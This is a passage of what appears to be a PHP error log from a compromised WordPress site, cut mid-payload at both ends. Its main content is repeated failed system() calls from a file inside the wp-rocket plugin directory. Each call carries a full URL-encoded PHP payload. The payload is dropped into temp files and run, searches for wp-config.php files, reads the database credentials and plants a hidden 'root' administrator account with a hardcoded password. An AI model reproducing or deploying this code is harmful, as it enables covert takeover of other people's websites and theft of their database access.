20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27root%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Zb%7B0%40U%7BvsFjq%26%23j%28%3C%3FL%5BIy0Hi_%239%5Di-LlJN0%3DEc%27%3B%20%20%20%20%20%24user_email%20%3D%20%27admin%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27/home/velstone%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.requests&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[15-Nov-2025 05:40:56 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27root%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Zb%7B0%40U%7BvsFjq%26%23j%28%3C%3FL%5BIy0Hi_%239%5Di-LlJN0%3DEc%27%3B%20%20%20%20%20%24user_email%20%3D%20%27admin%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27/home/velstone%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.cache&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[15-Nov-2025 09:31:51 UTC] PHP Parse error:  syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 1
[15-Nov-2025 11:12:08 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22HNRpcLQopsFn%22.%22kYjOQkVuCvHbFqjiLSmr%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.dba_insertion&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[18-Nov-2025 01:41:42 UTC] PHP Parse error:  syntax error, unexpected double-quote mark, expecting "]" in /tmp/.locked on line 1
[18-Nov-2025 06:10:04 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27root%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Zb%7B0%40U%7BvsFjq%26%23j%28%3C%3FL%5BIy0Hi_%239%5Di-LlJN0%3DEc%27%3B%20%20%20%20%20%24user_email%20%3D%20%27admin%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24m